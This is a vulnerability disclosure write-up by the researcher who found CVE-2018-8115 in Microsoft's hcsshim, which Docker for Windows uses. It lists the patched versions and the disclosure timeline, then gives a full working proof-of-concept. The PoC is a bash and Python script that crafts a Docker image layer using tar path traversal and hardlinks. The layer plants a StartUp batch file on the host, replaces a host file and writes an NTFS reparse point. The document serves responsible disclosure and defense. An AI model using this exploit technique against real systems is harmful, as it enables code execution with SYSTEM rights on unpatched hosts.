Author: Michael Hanselmann. Updated: May 9, 2018.
Docker for Windows
uses the Windows Host
Compute Service Shim published and maintained by Microsoft. Its use
of Go's
filepath.Join
function with unsanitized input allowed to create, remove and replace
files in the host file system, leading to remote code execution.
Importing a Docker container image or pulling one from a remote registry
isn't commonly expected to make modifications to the host file system
outside of the Docker-internal data structures. The vulnerability
reference is
CVE-2018-8115.
hcsshim 0.6.10 released on May 2, 2018 resolves the issue. Microsoft has patched their own infrastructure hosting offerings, as have Microsoft partners with Google among them. The following Docker versions have already been built to contain the necessary patches (pull request):
- Docker CE 18.03.1
- Docker CE 17.05.0-rc1
- Latest patch releases of Docker EE 17.06
I reported the issue to Microsoft's security response center (MSRC) and Docker in February 2018 using responsible disclosure. Both were involved in resolving the issue. Microsoft's automated handling of security reports made establishing an initial contact slightly difficult, but eventually good and productive communication was established. None of Microsoft's bounty programs applied to this vulnerability.
Reproduction
The proof-of-concept code writes and replaces a couple of files in the
host system. The Docker engine service runs as SYSTEM
,
hence there are virtually no limitations where and which files can be
touched (in-use files aside).
DLL
preloading
attacks are likely possible. In agreement with Microsoft's security
response center this reproduction was published only on May 9, 2018,
a week after the vulnerability itself.
The original report used the following environment:
- Windows 10 Enterprise in a Microsoft Edge test VM (previously known as modern.ie), build 17074.1000
- Docker for Windows 17.12.0-ce-win47 (stable channel as of February 22, 2018)
- Install Docker for Windows
-
Switch Docker to Windows containers (unrelated to the issue, but
required due to limitations in the author‘s test environment):
-
Test whether Docker daemon works:
-
Start a local Docker registry (only tested on Linux):
docker run -p 5000:5000 --name registry docker.io/library/registry:2
-
Prepare script to write and upload malicious Docker image (tested
only on Linux):
$ cat > generate-and-push-image.bash <<'EOSCRIPT' #!/bin/bash # # Copyright (C) 2018, Michael Hanselmann <https://hansmi.ch/> # set -e -u -o pipefail set -x registry=http://localhost:5000 tmpdir=$(mktemp -d) trap 'rm -rf "$tmpdir"' EXIT tmplayer="${tmpdir}/layer.tar" digest() { echo -n sha256: && \ sha256sum | cut -c-64 } upload() { local datafile="$1" local digest="$(digest < "$datafile")" # Prepare upload local upload_location=$( curl -v --dump-header - -XPOST "${registry}/v2/evil/image/blobs/uploads/" | perl -ne 'chomp && /^Location:\s*(.+?)\s*$/ && print $1' ) echo "upload_location=${upload_location}" >&2 curl -v -XPUT --header 'Expect:' --data-binary "@${datafile}" \ --header 'Content-Type: application/octet-stream' \ "${upload_location}&digest=${digest}" echo -n "$digest" } write_base_layer() { # Tar containing hive files and dummy Dockerfile base64 -d <<'EOF' | gunzip -c H4sIANXIjFoAA+3d3W7bdBjHcbdaQYoYTGy89MyHcNL43elBQU6bqhUr6QtjVEJDJnOyqC9Bjrt2 HO0SuAkkBBfADXDCMTfAEadcQrFju9ip2yWd46zx9yM1cfz4n3hOn7/n6Kdm2z7bcOynjttfkqrr 3UOnL+ROCl11LymaKsiqf6uokiTrgiQrmqkL4ln+u3LZSd+zXX9XXvd5hv9xt4RWEx9u1q3d1Y3N rxtLLdexvW7v2OseOSuyLi8rkqLK5pKumrWa4b87FUUXt/Yeb3651ny8t9T2f19sz3NXZKOiSqJ9 9TC/2rq2enR1ddqHaKZNqOVTJEm7tv+D5XT/S4qkCqI+4f0aKHn/D97/6nbyLLDWax04btDbOb3G q+Z/XVUS77/sv/+arsnM/0VQR5j/1StmfVWpKLKaqLj2af/pirVjNTr1Hct3YMXWBrd1qxM+rO8N 7jqDxzuNaKNH0dq6v3Yn2rBjVU8bbctqrEYbrW8Gt6tW+Nh/nahej+uN6DXWrdWqtbuVfP6H0cK+ 9cWBv5OX9udZ8LiiXDqVqdknMMOUzWU5OCteOoGpt+S0FfZ/7i2f4s/n18//ujHU/4qi+/1fSBOV vP/Xd5tb4lG35fb6vbZXPbaPe33Hfe64dyt3K6vN7X3x/98NsTrtvUXeUmf+je7zN+T6T5c5/xeC 679ym1DLp9zk+k82uf4rwuD9H7r+c9r2yaH3yP9/wHdrzqFnv+5rjD//G5LG53+FGHH+12TTqBlX zv/+lWDm/H8xLHP+T1Yvz/8X1WkfopkW9n/uLZ9y/fWfkjH/q3rQ/1z/TZ7rdNpz/v1cYl2w/FZi WQwW7qW3mZT5V9Sb7d1OEftRBov39bmff/vwyb+//sUhBQAAAIAZ9+z77vFg4V52/Zfz8/PjA1H4 84+3L64T/VXncf08Ei+fDdWT7vg/u83mV8HyN/42/QNBCLYPfoIn/mlwf+flD/79y2jMAyH4TODb wVhh/oHwufCeMBderS68P1j3cbgu/OBgQfRvxPlw20V/ZLRteJtet/BOUBgaN/z473evPXwAAAAA ANwKGfmvPfso3xDI+PkvTdUU8l9FGDX/pZh6TRk//xUPy85/JaoZ+a+4Ou1DNNPC/s+95VPGz38p UtD/5L8mj/xXeQX5r/nfPyL/BQAAAAAlQP4rPY78FwAAAABgFmXlv5zWidv1XuSWCBk//6VrKn// sRCj5r9UU5PM8fNf8bDs/FeimpH/iqvTPkQzLcp/5d3yKTf4+1+yyt9/LgT5r/IK8l//7C+S/wIA AACAEiD/lR5H/gsAAAAAMIuy8l+9tndqu85U81+yRv6rCKN+/69RW9aWx85/XQzL/v7fRDXj+3/j 6rQP0UyL8l95t3zKTfJfQf+T/5o88l/lFeS/Pv3sPvkvAAAAACgB8l/pceS/AAAAAACzKCv/9aLv OXl+H9wN8l+yZJD/KsKo+S+zVjPU8fNf8bDs/FeimpH/iqvTPkQzLcp/5d3yKTf4/kcj6H/yX5NH /qu8gvzXJz9+QP4LAAAAAEqA/Fd6HPkvAAAAAAAAAAAAAAAAAAAAAG+q/wA9MZkjAPAAAA== EOF } write_layer() { write_base_layer > "${tmpdir}/demo.tar" python3 -c ' import sys import time import tarfile import tempfile import struct startupfile = \ "Users/All Users/Application Data/Start Menu/Programs/StartUp/evil.bat" with tempfile.NamedTemporaryFile() as script, \ tempfile.NamedTemporaryFile() as doc, \ tempfile.NamedTemporaryFile() as demo, \ tempfile.NamedTemporaryFile() as reparse, \ tarfile.open(sys.argv[1], "w", format=tarfile.PAX_FORMAT) as tar: # Generate new digest every time script.write("echo Hello World {}\r\npause\r\n".format(time.time()).encode("ascii")) script.flush() doc.write(b"Document replaced") doc.flush() demo.write(b"Put here by image") demo.flush() tar.add(script.name, arcname="Files/script.bat") tar.add(doc.name, arcname="Files/text.txt") tar.add(demo.name, arcname="../../../../../../../../fromimage.txt") # Hardlink for startup script info = tarfile.TarInfo("Files\\../../../../../../../../" + startupfile) info.type = tarfile.LNKTYPE info.linkname = "Files\\script.bat" tar.addfile(info) # Replace file with hardlink info = tarfile.TarInfo("Files\\../../../../../../../Resume.txt") info.type = tarfile.LNKTYPE info.linkname = "Files\\text.txt" tar.addfile(info) # Insert reparse point target = r"\Users" ntTarget = target target16 = (target + "\0").encode("utf-16") ntTarget16 = (ntTarget + "\0").encode("utf-16") size = 18 + len(ntTarget16) + len(target16) # Tag reparse.write(struct.pack("<IHHHHHI", # Tag 0xA000000C, size, # SubstituteNameOffset 0, # SubstituteNameLength len(ntTarget16) - 1, # PrintNameOffset len(ntTarget16), # PrintNameLength len(target16) - 1, # Flags 1, )) reparse.write(ntTarget16) reparse.write(target16) reparse.flush() #print(reparse.tell(), size) assert reparse.tell() == size info = tarfile.TarInfo("Files/hostusers") info.type = tarfile.SYMTYPE info.mode = 0o160000 info.pax_headers = { "MSWINDOWS.fileattr": "1040", } info.linkname = target tar.addfile(info, reparse.name) ' "${tmpdir}/evil.tar" cat < "${tmpdir}/demo.tar" > "$tmplayer" tar --concatenate --absolute-names -f "$tmplayer" "${tmpdir}/evil.tar" tar -Ptvf "$tmplayer" } write_layer layer_digest=$(upload "$tmplayer") layer_size=$(stat --format='%s' "$tmplayer") cat >"${tmpdir}/config.json" <<EOF { "architecture": "amd64", "config": { "Hostname": "", "Domainname": "", "User": "", "AttachStdin": false, "AttachStdout": false, "AttachStderr": false, "Tty": false, "OpenStdin": false, "StdinOnce": false, "Env": null, "Cmd": [ "noop" ], "Image": "sha256:8a62949f00589b4b9e99586bd40555ad36c1719a4d1c60d7094fbfb5997c4d12", "Volumes": null, "WorkingDir": "", "Entrypoint": null, "OnBuild": null, "Labels": null }, "container_config": { "Hostname": "", "Domainname": "", "User": "", "AttachStdin": false, "AttachStdout": false, "AttachStderr": false, "Tty": false, "OpenStdin": false, "StdinOnce": false, "Env": null, "Cmd": [ "cmd", "/S", "/C", "" ], "Image": "sha256:8a62949f00589b4b9e99586bd40555ad36c1719a4d1c60d7094fbfb5997c4d12", "Volumes": null, "WorkingDir": "", "Entrypoint": null, "OnBuild": null, "Labels": null }, "created": "2018-02-21T08:54:32.3339289Z", "docker_version": "17.12.0-ce", "history": [ { "created": "2016-12-13T10:47:17Z", "created_by": "Apply image 10.0.14393.0" }, { "created": "2018-02-13T19:43:23Z", "created_by": "Install update 10.0.14393.2068" }, { "created": "2018-02-21T08:54:32.3339289Z", "created_by": "" } ], "os": "windows", "os.version": "10.0.14393.2068", "rootfs": { "type": "layers", "diff_ids": [ "sha256:6c357baed9f5177e8c8fd1fa35b39266f329535ec8801385134790eb08d8787d", "sha256:06def82ae218583423386cf68ab2dbb0715e69132d9b74e2fbdd9173142ef6f7", "${layer_digest}" ] } } EOF config_digest=$(upload "${tmpdir}/config.json") config_size=$(stat --format='%s' "${tmpdir}/config.json") cat >"${tmpdir}/manifest.json" <<EOF { "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": { "mediaType": "application/vnd.docker.container.image.v1+json", "size": ${config_size}, "digest": "${config_digest}" }, "layers": [ { "mediaType": "application/vnd.docker.image.rootfs.foreign.diff.tar.gzip", "size": 252691002, "digest": "sha256:bce2fbc256ea437a87dadac2f69aabd25bed4f56255549090056c1131fad0277", "urls": [ "https://go.microsoft.com/fwlink/?linkid=837858" ] }, { "mediaType": "application/vnd.docker.image.rootfs.foreign.diff.tar.gzip", "size": 152802641, "digest": "sha256:cb1aafb7147372cc64faa070b94a893b8cd2e3de3a0e8001dc225c627d991c58", "urls": [ "https://go.microsoft.com/fwlink/?linkid=867858" ] }, { "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip", "size": ${layer_size}, "digest": "${layer_digest}" } ] } EOF curl -v -XPUT --data "@${tmpdir}/manifest.json" \ --header 'Content-Type: application/vnd.docker.distribution.manifest.v2+json' \ "${registry}/v2/evil/image/manifests/latest" EOSCRIPT
-
Upload specially crafted image to registry using
generate-and-push-image.bash
. The image is taggedevil/image:latest
. -
Write a document on the target system at
C:\resume.txt
(will be replaced by image) -
Pull image from previously started registry to which the malicious
image was pushed. Note how the batch file doesn't exist at first.
There are no errors during the operation.
-
The text document created previously has been replaced (technically
it's a hardlink to a file in the container)
-
Also put in place was a file directly in the host file system. This
starts with a go-winio backup stream header, but depending on the
file format that may be a non-issue.
- The proof-of-concept exploit also writes an NTFS reparse point, though that is not explored further in this description.
-
Log out and in again. The batch file is executed (as expected for
this demonstration; the written file(s) could have different
effects).